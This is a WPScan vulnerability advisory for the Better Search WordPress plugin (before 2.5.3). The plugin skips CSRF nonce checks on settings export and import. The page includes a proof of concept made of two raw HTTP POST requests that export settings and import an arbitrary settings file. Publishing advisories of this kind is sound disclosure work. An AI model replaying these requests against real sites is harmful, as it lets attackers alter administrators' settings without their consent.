WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Better Search < 2.5.3 - CSRF Nonce Bypass in Import/Export

Description

The plugin did not properly check the CSRF nonces when exporting and importing settings, allowing attackers to make a logged in user with the manage_options capability export and import arbitrary settings by not providing the nonce parameter in the request

Proof of Concept

POST /wp-admin/admin.php?page=bsearch_tools_page HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://example.com/wp-admin/admin.php?page=bsearch_tools_page
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: https://example.com
Connection: close
Cookie: [admin cookies]
Upgrade-Insecure-Requests: 1

bsearch_action=export_settings&bsearch_export_settings=Export+Settings


POST /wp-admin/admin.php?page=bsearch_tools_page HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/wp-admin/admin.php?page=bsearch_tools_page
Content-Type: multipart/form-data; boundary=---------------------------16367323269315448902578822082
Content-Length: 536
Origin: http://example.com
Connection: close
Cookie: [admin cookies]
Upgrade-Insecure-Requests: 1

-----------------------------16367323269315448902578822082
Content-Disposition: form-data; name="import_settings_file"; filename="settings.json"
Content-Type: application/json

{"seamless":0}
-----------------------------16367323269315448902578822082
Content-Disposition: form-data; name="bsearch_import_settings"

Import Settings
-----------------------------16367323269315448902578822082
Content-Disposition: form-data; name="bsearch_action"

import_settings
-----------------------------16367323269315448902578822082--
 

Affects Plugins

better-search
Fixed in version 2.5.3

References

URL
https://plugins.trac.wordpress.org/changeset/2473344
URL
https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-1/

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Jerome Bruandet (nintechnet.com)

Submitter

WPScanTeam

Verified

Yes

WPVDB ID
53f9482c-d2e7-4ae9-b57d-45f825282715

Timeline

Publicly Published

2021-02-17 (about 2 years ago)

Added

2021-02-17 (about 2 years ago)

Last Updated

2021-03-07 (about 2 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us